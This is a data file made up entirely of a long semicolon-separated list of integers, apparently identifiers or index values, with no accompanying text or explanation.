16732;70450;104380;31743;31122;20706;53348;22818;55366;49806;51964;73240;54936;48474;42943;25792;100770;73464;97421;96842;23742;23662;48859;72947;28575;78910;14345;19853;106306;57199;19950;92314;64181;44307;35105;19041;87970;66975;91119;100572;65206;62632;83842;103892;19056;33365;62879;73625;55706;96440;200115;54230;41499;74576;46711;87473;56419;102240;71832;90879;62568;57806;34745;90093;96521;19312;61564;93274;47782;31647;73186;25176;94660;22772;94707;33019;64334;18589;32895;59856;84724;59305;22927;82119;93535;90854;71661;60367;17405;86450;33314;71764;34900;21388;29414;87687;83388;56885;36264;94468;65778;99688;65268;96285;70975;58830;89905;47462;89000;78287;54331;67955;97330;42345;17314;51099;42979;29161;30041;60439;84525;54622;45067;52538;24852;91865;90935;24608;21387;56444;87152;22373;44416;16242;56728;82654;19141;37110;48328;86877;52837;91457;73787;45350;60242;56901;101038;30564;14424;91959;56501;19442;30606;32018;77792;16729;23914;33732;43380;61533;85779;21433;28346;104258;69762;69350;29116;80862;100298;75409;48978;43217;58799;95707;40355;100633;57998;82902;47683;59145;51226;94721;38005;70745;78578;105528;59841;34185;59929;55314;34009;10281;14857;48701;68922;93393;15178;70601;60038;96496;29081;52245;14092;50899;70751;35276;63706;46596;39702;49898;91831;36746;93242;14030;65333;68170;43814;90516;54913;53562;15603;57581;75470;50364;78646;63252;43499;75769;10248;72834;81117;53304;89457;70654;30400;80139;24682;86545;86064;100181;57458;53741;46840;54581;34400;16203;85192;45277;38556;44170;17737;72390;66510;10113;97419;21843;15743;81929;106307;49668;40783;12331;59925;10577;56150;44026;102196;43023;62607;102878;96876;59746;54608;79858;88479;96956;27044;25496;30665;66954;100937;68016;76198;39571;99666;44276;27039;71296;76736;68301;90771;92192;52520;86957;77639;41887;22303;20411;79775;33769;42144;78673;45099;38110;86962;26697;106445;46781;13927;20266;66657;71394;59712;57433;44192;59982;86107;23294;21621;79582;57036;105218;11870;64544;87477;13574;95810;52329;27617;100205;78451;45716;16959;76333;103116;100616;31355;62259;52606;56528;66563;23490;17229;91422;18550;51185;43032;107113;82474;46741;49139;78458;92385;31485;105395;78356;81140;75183;69810;32129;59122;92015;105874;80591;79648;71873;44696;43528;93652;70336;22996;40188;68422;74441;105061;92114;89259;89232;66627;11776;47380;53493;46513;39675;74159;94725;47196;100952;87193;54931;23767;43806;88862;35795;50810;88503;10862;26693;92336;42630;100538;87459;66472;35160;105977;103384;27358;49445;60108;16967;17255;19355;36040;63087;32476;80213;75863;14061;73541;79624;105082;100254;55830;77476;65809;74951;26087;52725;32559;20329;62535;73652;96178;68392;32680;80160;79821;15585;46618;81704;51024;28177;51424;103406;52607;20268;22146;25130;83939;90717;22142;77834;39218;63163;81306;36677;45742;80580;13936;30873;40580;13975;103469;24787;20592;34498;51040;11059;59494;26317;56221;20550;57137;92705;26971;101130;37306;15506;45393;47514;32227;66101;15784;62634;69585;63450;55486;42236;19570;71686;14908;80880;14018;19314;14218;38910;17708;46859;57826;84895;81539;88830;74648;30643;75747;92581;52148;36331;92482;106474;40301;13136;71710;58394;30950;23589;41956;93825;90011;97314;59389;71943;74076;77330;22103;103354;106502;79538;65953;64891;101689;61373;76814;68930;99976;67505;11809;99321;83114;43444;27294;90084;45147;45650;54576;85511;49836;42312;13908;81331;92622;65833;64864;35846;100145;57695;69723;49528;68843;68173;71067;19662;15313;69106;79849;19674;93448;75407;104217;34860;92881;14598;73550;33602;76489;26127;34417;67721;62250;39634;11937;101676;51224;23776;22313;10601;49624;38588;96039;59597;23898;63336;78196;76081;106301;52415;92759;53172;30694;66402;76345;90329;49201;101885;49658;28285;79733;102201;82636;14189;34174;83789;30963;78083;16115;50067;61588;105333;79805;84978;96049;75449;33126;48427;73612;95017;79459;48348;46620;39392;63079;97420;61005;18414;13394;16873;41523;90609;22276;81317;30712;41082;16071;42726;65945;14185;69875;79335;26273;62319;85708;70534;50797;62375;91663;15489;97221;66633;84314;14693;62200;10960;54760;17442;32256;49268;64183;86969;24801;84952;60221;105117;18073;28596;73912;73974;54122;41275;79827;44670;84051;70777;101749;25177;105141;32436;97362;59380;22435;10489;51076;39940;44983;57391;11993;47407;58393;37941;87627;37901;67273;40550;51403;78647;16519;27400;62774;87266;89660;36199;64110;51500;77453;41970;103911;50411;53050;38635;65777;47732;12484;36899;48271;39781;18164;72558;74596;89620;77668;42955;60416;64331;31460;23404;61282;43629;67867;46171;88085;39221;58425;87051;80881;96232;100466;13392;100174;106303;51659;49518;99346;86501;74392;61446;52166;99474;56956;83806;67974;64711;88739;20949;32935;33004;54993;23737;97413;36588;46899;20737;49065;88800;67468;34149;29104;91501;80949;21994;99174;107097;58016;69905;60341;47882;106799;86569;40451;87008;24223;27414;18372;91297;45520;44661;43393;67275;62599;86253;59291;19935;87575;60184;84948;32045;88427;86770;48601;46601;39677;29160;81085;71391;22131;67330;47834;62059;67262;69568;24862;100384;39792;68942;92199;28048;85499;106968;200116;44794;34618;31056;31049;53949;25502;96606;62738;19211;97647;78305;80943;12688;50052;43711;32280;73011;99015;56846;43869;53378;40865;27267;42967;93537;36200;58767;77296;28056;12879;42731;29097;10649;49858;86455;58117;103168;73689;99294;72026;43001;41069;101127;37769;38831;10885;57755;41749;70444;48443;10395;43552;95995;70498;52336;43518;106651;94959;14965;37794;46623;89642;41888;13396;13259;58959;30171;46582;48764;13786;22483;33078;97902;17575;67830;24750;93990;60395;64595;27848;82701;94362;60178;25325;81288;30923;32580;44959;65485;49718;75660;47413;43956;83574;22433;20160;30044;97367;26944;95664;82218;16841;78135;99187;101446;67215;61058;82361;16869;93321;75629;60980;53291;59344;19613;39285;22175;42279;29517;75148;58306;57976;86029;51049;13768;44393;102010;62917;58868;56299;60514;82517;86119;32804;101606;62148;60633;74051;30902;59459;26396;106612;49533;104633;26628;30674;101973;22913;91575;30365;68608;87419;10933;23309;12463;77314;41154;62324;100579;26882;21780;103617;94825;38760;65542;96320;89749;82960;73538;56344;71280;30970;72353;28918;23401;72275;91347;27640;72245;50159;39754;36383;13608;60684;79276;18537;68135;21981;81168;71189;89296;76307;63885;41799;73944;18496;12257;45347;25118;94253;30026;60783;69808;53701;103531;52752;96265;107017;100583;81870;26129;55457;57293;15502;31885;28841;61160;17120;106718;39489;92270;45674;44485;81354;94020;16178;31149;84247;19907;76461;91888;56937;19615;48709;29126;27954;80636;89033;104479;75640;96115;70930;91316;55523;26516;64472;88684;95687;43020;54439;90652;14817;75867;64188;33692;84523;65330;38733;100547;16799;89594;91524;93541;45035;50563;89854;96463;31807;24662;87587;81530;54242;32114;16939;100727;29096;23107;55802;50611;65543;39452;20658;27333;101213;30039;75735;21079;107120;63767;28271;22342;36212;38256;59783;57870;25535;80531;21738;15341;44954;12032;96052;77951;75518;41105;81212;18653;80376;50102;99249;84295;57696;92510;82956;74340;28672;31760;84788;90041;55870;49230;44676;10634;35581;24620;16851;65684;50360;12365;71919;10397;61821;11973;50138;43519;102670;82988;57729;100651;29274;104184;32317;11518;53964;104988;99438;92744;84300;21816;45488;58539;15291;71188;63529;101401;105794;21054;81352;51830;31431;97917;83246;82143;25038;43320;13554;66064;63198;26053;19089;66575;20218;16608;78370;56541;86786;71120;35810;102750;75129;84394;25471;95885;31665;23508;49556;30271;95990;70163;87482;82056;40225;93232;45122;54723;57062;29421;52214;71929;64828;44193;89933;77181;21310;83647;81941;68931;102024;69506;11121;95985;101538;87298;21021;104313;45434;83554;21859;13798;13256;57456;44755;92612;44070;83639;38003;64001;85948;52449;83860;32084;86783;66189;71577;49437;75718;16907;74067;90769;77398;52209;29040;42897;79480;33070;11074;73751;30254;106939;64542;33700;76034;96520;51715;75336;22503;69163;79487;13577;72764;11155;69104;25053;54329;42722;11705;12469;81452;70035;81143;84351;35006;71627;47685;83161;86051;25853;62898;15767;88627;57601;47144;46985;33659;27383;91495;82491;94147;10585;54751;66587;97205;54534;31255;93507;96390;10425;54531;47657;44263;85738;80234;50342;34341;25734;83441;51747;94267;91749;87739;102415;63563;51535;23529;17718;81987;50486;43911;10990;103128;81446;82532;33870;99992;96428;94813;13664;73635;105963;101311;41342;41261;60800;106550;26106;106484;91607;61249;27839;89537;82213;48556;15242;28606;39506;42007;49097;66752;20756;33600;77463;65191;26287;95957;33527;37845;80332;97486;43129;69135;28879;46825;13816;89020;31487;55322;85544;39831;65303;81643;44328;58820;51557;91922;16018;22638;77863;14618;83862;23307;34337;81840;87847;79559;45961;61696;74278;22002;65264;99764;30119;101718;13427;24765;23661;27417;75742;94224;47714;47264;104533;43802;29045;24781;16090;59438;45745;39146;15355;15419;31274;93159;70392;32359;41107;72442;44136;10541;84161;44280;51101;38868;73789;24042;42033;90670;101015;67917;12086;33961;26908;87161;58118;13013;95678;71358;83957;42401;43224;35885;95705;53165;71100;54117;36623;25793;82055;77343;42043;60553;53580;50072;106770;103061;23547;64038;25468;66840;100194;83035;62624;20387;83616;64107;105981;89831;49083;61278;80144;95323;94698;17411;64400;59540;64144;77295;84934;46559;90693;71220;14904;12676;17438;94752;84803;78440;102641;102114;16752;27599;66343;35872;92725;54594;20013;70110;17580;25515;99293;22224;96051;30605;14418;38036;37989;35213;18367;45561;28461;74156;81775;88738;57883;102292;60680;65437;35608;23161;68167;42124;95564;13325;75376;44835;15015;39690;103871;27050;68899;82954;30559;12906;32042;79728;14859;73592;41264;48331;47303;80411;40154;61125;68742;58574;99127;41347;51491;75757;85825;73381;35586;10080;50123;59646;49769;47660;25645;54649;20333;73733;79303;50056;47470;87899;56272;86280;65452;17738;50301;96235;89481;83834;37753;16988;44220;29685;59285;72186;23971;63123;92281;61259;71401;33940;47337;40076;78980;84096;48749;77868;75652;34841;66535;85483;32412;71940;66190;35266;64911;88110;25209;83931;87396;21534;63509;68506;90528;86898;101397;66498;27816;31179;95822;75809;106325;16534;31299;64917;15672;91225;30335;76015;42261;22310;94715;29311;40707;59011;19920;78811;44705;86785;56384;20938;91175;85457;83885;76145;23901;93497;86678;29615;93578;39509;94442;64063;37549;76979;42449;78779;65508;57652;92379;30764;10305;76636;37270;23648;58595;13479;60386;79470;73420;17137;92319;68522;42377;99804;97276;65632;54706;13907;71465;77455;58488;15108;17421;89893;37233;31673;61080;16142;81029;87860;71243;101815;56494;23694;67768;77095;40621;73466;67038;100661;42691;34512;32556;55505;48561;80551;53818;47334;72118;20798;95439;78427;93516;50571;87060;61644;43467;87532;62703;69780;75607;90326;60252;79490;59022;97186;20270;14842;52962;30828;63851;43432;76949;68234;94601;66999;104598;10837;100647;81831;39085;12361;45828;101310;29490;76003;25833;50688;11623;11674;65493;46365;44171;28821;73522;38642;48768;72425;86121;83103;79703;77627;10253;40127;77290;34188;30601;12853;60623;90114;81905;40097;96652;70606;52115;34655;87950;72004;87023;18675;19779;101349;30069;52282;51318;39052;82066;37414;33118;83122;82666;38471;78460;69270;105283;88006;53697;51438;27783;19555;80132;67217;63480;13848;13501;88071;52027;48693;40826;52973;95575;47039;84862;63330;49231;59972;50737;82741;64758;94930;99667;31404;22532;37605;85320;34698;37201;51476;104069;80007;105454;62466;78133;11146;87635;69992;46201;10679;87192;99951;101083;99501;17339;91255;34165;72991;80150;82892;15655;27924;49027;63836;96151;19126;71503;34828;72071;50032;27578;19293;65122;72942;31592;29122;75313;96119;25856;54390;45868;30457;33510;48445;79311;25826;17247;91132;35332;104210;63891;27327;79687;46981;44893;94071;26197;44956;17260;33797;80377;80259;25637;28940;41553;71349;29690;73316;96067;17465;21963;99822;23388;91408;45124;91762;28947;45361;29006;41606;99712;29575;63158;103917;22184;44481;72332;74463;61275;57286;57006;48562;87064;47385;17273;81276;44173;37651;25708;10687;27236;89328;38908;12509;77549;12811;82775;61229;47227;48582;23331;91829;27346;31414;15508;71550;32082;61133;63344;81997;18141;40293;35412;103806;29969;12004;13658;45135;100761;11076;38430;48322;39397;53965;80613;35462;74893;74849;78751;74464;18642;77699;96684;57524;45078;56691;23431;16194;103859;40016;60662;92435;94069;67145;78722;50693;107108;18469;94599;103656;101608;50587;105923;81999;88932;34511;90152;36534;19912;56287;37749;25228;10650;33780;89723;12430;13468;87354;90578;95894;91183;59843;31702;62870;54314;43492;62195;16916;74385;12875;93886;70361;20666;13769;25885;18838;63090;59480;73158;83466;54231;67707;77906;51492;68936;41642;36449;56411;39304;54519;93322;62382;61642;82566;46215;78053;48437;50014;72847;11972;24573;67030;39117;40045;25528;71496;28503;88814;86301;18834;102843;69731;80877;94976;51210;63985;44957;19990;34676;62246;62127;50937;87694;58308;31351;33382;54598;106833;18676;92350;85773;54453;13040;99968;72029;18773;10527;97889;89896;23871;41897;70256;47425;15540;63818;92294;46598;73523;102259;80171;76195;85592;91898;68055;59659;27891;41403;47488;22906;28956;103411;35192;16610;38458;29303;65836;27778;21267;92117;73465;49287;37354;19823;86012;37059;71393;86605;38098;16827;43993;29356;61648;90117;25107;27377;40815;68561;55750;45220;64362;97428;89135;53417;97117;89872;17476;104333;99236;20713;13360;23071;48504;88950;79918;95665;79270;61261;103824;82024;64863;23878;15856;25817;53351;103605;69620;60615;58261;70145;86112;40758;14506;74190;103076;59123;104698;68973;31096;107142;57802;13341;33657;13072;33297;72820;100861;82178;36779;85255;99820;95679;52731;59749;45649;32138;87245;19281;29488;71639;33179;99693;41708;29912;40665;61897;64708;10576;78033;102993;65649;53438;100648;91055;21978;52242;30244;104646;52917;11507;97721;51793;35312;38681;28848;55495;59059;22688;47864;10039;93768;40085;67265;19431;33710;28426;20526;75421;30089;76050;13561;89047;92948;71513;102472;74822;15490;84902;29762;25420;79609;103433;50550;49242;74338;35209;25690;97463;58804;42695;25238;76619;56143;63952;43829;15309;42204;34973;30961;43391;77641;83781;13187;42309;61447;24928;27337;10021;54845;17992;93101;48304;64899;19730;18054;59950;104465;54812;59553;80614;42904;90171;79141;96682;77798;43992;25896;30914;12742;94720;94119;84508;81546;49553;44523;33962;88566;29694;31764;93104;93241;30818;67119;80983;97152;44483;67862;40920;22132;42808;83320;78035;19222;52904;72135;59614;44464;85756;77327;30621;22236;97614;51112;74723;47524;22235;103929;86212;69468;37071;96926;94763;42542;30297;71928;48842;18745;46667;21181;57866;75814;53734;75062;65443;94218;44405;72522;14878;57168;35661;14923;74082;94777;97443;71670;84673;58764;28807;39278;18205;79943;35659;89369;65895;41580;48971;38610;30545;61823;70822;91331;49669;42918;80262;96352;49305;34037;34366;75695;84954;36391;83044;92726;102613;37633;101058;103123;59272;11889;66921;12694;67495;61424;69571;10800;91562;56647;60733;75118;29919;75350;27711;57522;29917;103452;36128;13684;23246;60172;20081;25560;38508;49172;32214;30504;90885;66942;21808;91768;52404;51033;30410;47532;41549;85910;105020;61392;38943;104301;38594;106314;53509;101801;26569;32600;47786;71867;39214;60436;19835;99070;43201;86629;74863;82168;18130;95757;37931;77218;90585;48706;38230;37832;79536;67965;66139;96275;94786;72679;22524;48187;95508;66191;102747;78276;17478;29570;45621;100234;17758;51426;76801;79371;86355;76624;91134;62497;20506;40434;60785;99442;13116;88119;18757;88101;52655;96739;56713;90869;81257;43999;51786;29435;34403;79681;47846;47674;59965;42990;86967;106114;99441;25948;56566;79102;44038;87639;11605;84226;60167;91484;61995;54290;73766;69429;63708;57215;11930;16221;50669;99339;11410;93629;63006;34633;101404;13924;92978;61470;79660;106584;40721;37114;88529;46674;59229;87682;76249;79633;104948;41710;83073;31428;27796;46124;90995;50225;85836;53034;38605;100408;82934;72622;24362;20242;29167;88935;78311;90919;44690;58621;19705;99208;24940;77093;101426;71855;58033;44823;106671;77275;49398;63061;75580;17185;81838;47596;64156;16230;56764;39129;22732;69870;56929;44807;63558;100275;77707;28327;84746;43081;66253;24826;73357;70554;59363;101810;52081;21359;16129;38603;23653;13547;100958;26602;51222;43231;59412;34963;40296;84039;37859;80572;11846;97491;50633;39761;52983;23949;69538;95659;90722;35847;35955;82796;84703;97332;16922;34778;75913;75611;19072;95905;46926;101970;27592;12581;78407;80371;18329;96809;49463;59727;53991;30670;104209;104585;31037;55308;52499;86723;73081;27053;19327;43252;27503;51287;100383;16973;78921;91430;29666;54873;13761;11376;58612;46640;78886;71879;68086;16147;83398;66500;79417;30090;106469;14252;49048;103965;28812;34323;104458;10521;74179;78810;50090;44912;94328;66873;99718;33559;64178;53001;101901;61836;58957;40530;67191;36203;68336;55194;48698;52745;36901;76150;42111;84427;71495;96069;96294;56286;95529;14681;51738;44039;24671;25140;14964;50243;15370;20993;12427;10369;18934;76643;18127;69505;87469;29893;104438;42004;49567;97986;106471;31347;99495;80204;36646;99838;82866;54397;75950;51358;72325;96348;58970;26164;12567;46965;68669;106188;68910;25354;97635;99385;101690;29880;78903;94284;67630;70305;105120;70160;103293;13481;85642;95332;53700;51298;35587;105223;14099;60490;97368;14745;64882;37936;49750;85438;44507;22654;21303;31698;21011;60362;78085;45071;105561;71553;96536;64171;21642;34772;27777;59510;25803;25781;85011;47129;36035;36905;97776;97517;41166;20172;45575;57937;72752;99841;75565;94929;25741;11239;89267;22032;34830;26953;93369;10247;85926;39283;64895;29877;43898;51477;66262;70196;17040;54039;59139;51544;33857;11290;21063;18074;99067;24166;54193;53927;32541;84588;82406;15406;95378;90202;75415;24966;60223;86200;87591;11772;94167;102278;32494;99974;76083;79667;33361;32372;81652;106337;95795;41497;38209;63668;24846;59691;46079;74191;27379;13212;74480;21390;79646;11427;34747;33722;86163;49820;25531;99813;20839;29377;97019;32013;97178;15290;30962;40212;40728;25503;81379;24456;49145;95633;91224;100490;39128;60042;74110;44400;42171;88450;87784;52826;29660;61286;92917;43675;45240;35698;106054;35171;72395;69537;25002;101450;55435;101668;20453;29200;53607;44031;100530;70432;44756;67097;28197;42915;32073;78895;52816;46132;93461;92332;100189;83635;82868;47611;107082;85490;34460;53554;60737;96144;25006;70266;64393;74639;35938;57047;105085;38520;86199;43728;21155;106423;30264;102333;70718;17984;25520;20367;59104;85742;81415;24229;55246;22074;26358;80978;62825;30499;21696;83754;75870;53189;46999;60688;26454;106789;29240;14281;93670;80493;28308;55379;29523;24475;72541;90895;90161;16061;26277;42214;51430;33080;104054;33511;94436;106910;51326;54376;13348;46961;46452;85716;59706;21634;45843;39198;106365;96014;49520;48687;27003;14168;99318;11336;11715;89838;79546;48194;33517;86293;25457;15918;23672;90014;52036;49752;57348;69320;82004;19482;45194;24734;75904;57913;50660;67884;14572;49179;29042;13157;92367;38583;12923;38965;104625;57697;105149;62459;69158;13981;93247;24375;35343;97972;90400;26905;79985;31605;78377;86888;49034;53533;47556;68511;18561;106333;99487;34377;51522;91493;92878;17628;92021;57366;104440;43507;39242;57132;69253;38949;93133;62431;82413;88744;70927;81110;78743;96970;19073;63310;19658;26480;50320;92587;52247;11175;18331;20707;20554;21952;97076;46990;63814;82310;34438;77111;19447;64280;56256;22445;39091;32979;28022;64538;39949;100896;60819;81618;99723;13458;52534;91332;38924;68788;11254;40073;25068;24894;104867;60313;24612;69310;62509;24094;33085;84278;94070;46523;63338;101544;47115;24017;105358;64231;79714;28199;11476;79043;20180;81901;55606;59492;27552;50316;85900;21747;40527;68459;85607;15785;25729;21419;89202;92720;28648;16023;39564;99853;13261;76324;37298;12824;16844;12583;100334;51327;73643;69469;25348;83424;24601;69529;65239;26271;30210;73937;94853;83928;12774;56894;57371;57385;53505;32677;70489;86782;64468;48788;16825;83076;29987;36484;73074;68594;84455;15045;28206;22898;104765;59699;93841;99086;29220;42797;77347;43211;58813;35241;87593;54862;63882;88754;49163;94871;90619;27696;78227;58455;53240;94915;48308;14209;30215;96524;73899;90725;32236;60440;56730;49622;47124;105754;35505;23329;15101;61715;75396;16887;15685;81790;83272;92190;10327;61730;90185;70677;41591;77136;81927;100875;69682;31915;57464;22139;100743;72785;60727;10628;10799;90612;92431;47637;104794;69934;104118;73802;20629;45388;91854;45528;62611;105827;56692;81533;96816;41943;45366;34941;23114;80274;44294;72682;16548;82887;51317;49490;64247;42859;61066;24523;84576;27951;81872;67540;69124;66622;30123;68171;81146;91160;13612;83282;37320;57545;86095;12029;96158;59940;91020;76631;39177;17368;30179;85145;21080;105688;40193;59189;104916;52580;83796;89130;77018;35178;74693;64335;37379;20953;78232;46158;41446;40648;75398;72380;15213;69817;67658;72152;89342;66385;47566;58690;46274;70133;84814;90832;35974;39862;65374;86910;97026;56170;25762;17429;100679;62958;63578;24364;93060;92111;46413;28789;35943;55188;91499;63013;86581;45758;35877;59971;67172;57432;86727;28975;94150;39616;34278;42540;81532;71722;85202;67750;72012;71210;39915;90529;77400;46122;45600;43597;21617;42490;28650;57149;28959;55096;56144;34252;106876;30169;22332;90049;102872;28416;106564;75473;35444;41668;14877;34894;35380;97237;99991;84475;22823;94686;51740;23708;10088;29427;93119;17648;30058;16793;29738;50872;74029;49987;43420;97574;12055;67459;95818;93773;99272;81774;39335;72023;16412;29076;104273;35328;64470;19135;14589;84048;24048;55330;44462;75836;39919;56836;38934;12828;12241;38486;103938;12635;70749;12314;19122;56869;73099;14072;22582;52229;37077;84937;51498;73083;33862;86388;43376;88704;92234;71381;83878;83502;66835;75224;11609;72562;24978;15342;50208;25618;60957;82187;56508;75698;69110;26416;60048;75089;103146;45244;50941;200141;23876;24297;88837;87256;85371;86042;63646;78589;70000;20386;10398;27645;67523;74853;28457;69326;68315;24640;12019;65869;35758;67233;64242;94718;101826;97798;101528;54886;87093;36657;100508;47059;51016;69893;43843;87869;90808;32306;17589;16453;93265;29582;23350;80767;72968;19710;102270;71699;102339;91823;70192;84168;13355;25423;100045;61864;35022;88504;102195;23219;25349;14496;92006;14342;74494;86215;93848;72227;106002;41454;60123;27647;37462;14042;18920;62603;38080;78486;200058;77587;104330;75213;35975;30933;64421;25467;41915;68750;25132;19121;96707;82026;47153;100211;61550;50732;52075;56994;89895;67898;69610;53112;50678;42104;88143;71293;89574;15557;12373;90927;28601;27194;66939;55157;69709;57207;97581;62776;55430;66007;29978;70538;28184;93139;83995;83740;25011;23700;43613;25698;28166;95297;35091;65380;34022;53271;47283;44748;103693;58188;91084;48715;29305;85843;17326;90804;69705;32228;101231;77490;99823;27882;16487;58124;60586;15179;37224;93715;62775;80277;96410;86467;106092;11979;101967;91554;103030;57365;66542;75993;13509;23887;42170;69463;71268;62943;15903;56545;32143;32975;46444;87300;75412;93569;46606;56640;83382;75496;24855;81727;18005;80425;77020;36026;15177;78702;77201;18131;86288;72902;91590;26896;100461;84710;76790;107117;23827;24650;81705;63789;13634;86966;77859;105123;95623;80857;41318;73185;78865;43641;20553;50387;80086;102159;51131;41677;102190;23559;94998;70206;24882;82571;21272;21601;14938;106427;85357;37371;49240;35589;43261;10294;96772;42612;42396;16874;79969;33421;57842;17012;21481;28730;29176;103022;72359;46372;45527;21012;24145;84184;60134;74061;79671;67218;102802;75232;105651;66798;19310;58792;23383;22256;62586;96984;70904;19341;17195;64318;60215;100399;102393;67067;44224;106548;102082;10760;56054;82120;54208;50766;44445;38864;64668;18874;54419;36989;87264;80698;42058;33656;64832;78090;22288;17722;25874;82967;15556;97011;36770;28212;51823;70553;13791;67645;46420;31570;34302;58203;24534;22815;68862;44557;14534;15123;32308;11231;16053;48195;72368;36110;15064;68554;90847;28881;69019;75684;60987;86439;93034;21671;49246;91811;78958;59340;85760;94123;15152;87983;65271;27341;94274;48215;90077;88164;39493;62972;88873;39945;14816;90142;81434;95827;45966;41176;104423;96886;25045;43595;48695;68122;67440;49780;66652;11538;74753;103260;55894;102174;51953;79246;24207;30843;43151;67993;14542;32371;47301;72855;103194;21991;33850;40426;17669;75566;55723;80126;101887;91794;90610;53129;48406;60682;32235;23725;76809;30922;72542;26198;44963;65631;14234;30229;45146;43246;99897;13628;70793;87487;43019;20877;34210;70808;105122;26001;21395;37443;76637;51271;28664;70191;12739;64044;40879;77370;20316;43049;49546;29170;14982;31800;53830;91966;83699;94679;69340;28557;27418;99453;35947;99753;95948;71415;77744;27335;18311;38626;97271;74657;43706;32532;27408;60963;105567;28364;82323;48773;60564;53542;53931;37797;56543;90700;45782;89591;19075;47343;106689;35368;65048;101721;45889;68923;29472;61525;90983;99181;64237;17180;26916;67342;47564;22728;54483;47620;101387;83463;58102;62474;91459;29253;78201;69030;76665;23667;100013;78703;78154;26035;30847;76737;56752;67017;42404;62192;41858;104427;50964;96822;44854;39002;87629;44551;38677;59286;92263;90633;28922;23196;56509;56898;78341;45545;20055;48415;78416;47314;41744;18762;18511;13747;72400;47256;71442;54404;46688;25563;14576;66748;75803;41080;105264;73793;46767;94402;76343;18447;33883;78124;69082;99724;94155;10426;87447;26493;36882;52481;22082;38434;66214;60466;80902;81627;29935;56679;100604;15688;46375;106950;72616;22489;50883;99471;30816;65788;85616;106199;97890;21502;43403;72585;102192;35840;80771;68300;36525;27513;87090;48387;60199;66406;79473;28319;44456;28903;51551;21584;99891;78499;105425;40243;102812;32945;69114;70872;58263;25059;85468;91047;90362;45123;28793;43397;63404;69065;69781;24357;20530;28500;24269;13490;55683;72684;55126;12243;61399;66804;92632;21210;60851;67586;94848;52779;97668;28067;20402;88923;48176;72767;63141;100481;50765;59563;83769;52277;85158;76679;62874;30879;70321;43729;103307;11340;77994;64150;84312;63635;43928;29976;31279;64804;99353;16928;90091;49749;79552;67387;84563;67219;101489;69126;94702;10418;21204;40676;66736;25236;33183;92653;24610;101298;14402;29283;78881;42942;71618;92861;62204;83938;44279;99952;79055;92531;52874;12128;89263;33405;24141;22856;49333;27929;59170;37427;80338;65371;28916;63202;93016;81923;100351;81104;18093;104823;11741;106559;94836;15222;58596;42064;52357;66365;19870;35515;78661;55760;21749;44058;11316;80281;19936;20162;38846;20984;56073;54024;43834;84374;34824;49019;54824;37500;51860;46847;105503;71284;11833;86870;56222;101391;89438;44435;68655;66395;21118;55023;21865;51052;35675;38836;90027;73870;33413;56238;106575;35404;31073;49356;48448;24418;60539;80267;58967;67835;62770;93427;95459;95447;84915;22457;52746;48515;42472;101554;78046;37097;45116;68602;69861;18465;90032;65779;70353;101445;11029;66184;72188;23808;21918;89683;81447;87543;64997;28023;17285;83238;87069;66589;86001;90721;52869;39059;96565;101547;53605;36075;42186;64777;10150;15986;37525;105308;11664;10980;106490;46204;92441;19223;82857;85985;93050;77438;28137;19465;59824;58095;68991;39441;65555;55791;37463;35215;81807;74727;20031;26762;97033;85938;35660;105513;96529;61153;91521;79146;46995;56281;50624;32711;56348;38825;22941;22030;59217;87277;66801;44789;78951;28353;84653;81024;96079;68432;26163;70118;23418;64522;105969;83375;47755;64306;23558;70778;59256;94639;66172;16644;52951;61753;39512;25641;58273;18428;26733;35348;11200;17336;25626;103367;59101;30227;60437;67911;91998;23990;85595;93959;12298;91960;13097;18491;104724;48158;94902;15180;34202;10320;42246;87579;58902;20541;69330;91088;72202;103279;80406;64598;56667;22195;86815;11488;80314;33364;70254;24530;29714;43624;96136;28267;35736;88636;39845;76310;66505;71939;55109;65958;94758;72086;61655;106636;97069;83346;94522;33618;97378;41690;10572;73875;38026;26285;83005;104119;88989;69949;45452;56253;36687;104607;104725;77580;106925;76328;103837;26214;38357;12683;91214;97739;35458;31912;91009;51056;31709;78170;15020;89862;85632;100621;53093;10995;61522;100078;81215;47003;28407;74508;27477;14731;40902;24050;60390;47094;84971;76325;46654;39112;29745;71834;94011;54922;45139;105143;29276;84045;36215;22461;74501;89573;45352;91767;87714;80246;52051;14910;44536;105577;60292;38726;105658;57891;87652;104560;105522;81086;77562;52592;16095;30493;34322;83015;17788;65487;10152;58151;49169;103691;41424;40651;13583;21439;63502;27497;23169;14107;50811;94234;41337;72908;64499;67873;96370;45895;77417;42913;19143;41755;24228;27531;13130;31370;92033;84604;88492;42546;24326;79939;77238;91997;50722;89759;76118;70705;78788;45555;52632;101100;93698;106014;69001;24879;62212;33612;31259;48239;56063;11142;100640;63748;30116;75551;80822;56819;45728;75000;63549;69944;63958;50603;63675;26337;50233;54425;40770;88535;78037;42825;36453;81381;100195;58626;57625;61450;76046;53738;24483;11902;92990;88104;100703;45579;82409;26155;103850;37042;94470;99619;75450;84585;46487;93589;56135;73760;75528;12812;97716;83244;99301;40746;16901;200002;14034;68685;64448;67296;59203;91682;53670;102245;75504;11399;49764;73393;22887;21874;39833;33012;16843;76844;34000;28658;39970;35796;45987;99616;49343;90982;101746;83021;79642;96236;92570;79315;12345;18346;22828;93209;47633;79352;26381;78191;31740;97507;74559;22470;73972;19187;91471;29501;97058;102563;13120;57408;34645;64612;107038;55512;63299;46186;99030;20019;23752;200143;93022;94075;85108;54887;84699;34307;97800;30180;101988;43881;55371;41269;13281;92976;95671;44359;57495;81358;10245;17145;65893;33355;31899;74017;49180;69637;30854;50600;72815;25632;67381;100387;51340;97405;101639;36994;91775;10594;77036;97438;106759;13875;51488;99954;12761;37775;82917;73460;104723;79119;17073;43332;103025;58451;81956;16246;94076;45415;13063;73829;81427;64501;99328;64744;64368;84256;54835;59060;46801;93660;97168;50863;84384;24514;104337;14792;49221;12669;47494;19298;100456;71909;96337;64933;96200;58390;39330;81836;31877;96701;93462;50166;60283;93545;48888;72960;16306;10705;11477;83672;12914;53369;26509;92296;42462;36586;92608;73497;54616;41583;70620;100596;101377;64664;104477;103615;28380;99913;51330;35277;101123;81848;91094;99395;59668;88642;85968;87479;81794;23788;43995;71695;21403;81912;96526;10108;18734;12983;78693;73335;52380;92519;85741;39068;68751;86655;59279;49493;29639;57858;21529;30142;19505;24615;76508;57169;54659;105243;65004;12005;92468;10548;69455;37477;90522;40497;100107;37349;92648;21410;67291;106722;15912;58326;12486;49312;71481;49576;83713;65730;57393;46013;90425;46469;43942;34601;39765;97811;26985;56225;74092;66295;86479;74702;77037;46408;50705;16934;103118;22849;31488;62079;66691;26153;49714;30134;57716;42938;33941;96702;80628;26694;85552;10481;24519;77404;64974;51006;53287;88755;91702;45036;76822;55424;102091;85113;40938;82791;106889;94997;81854;18741;94507;55704;77160;85233;38913;93216;39131;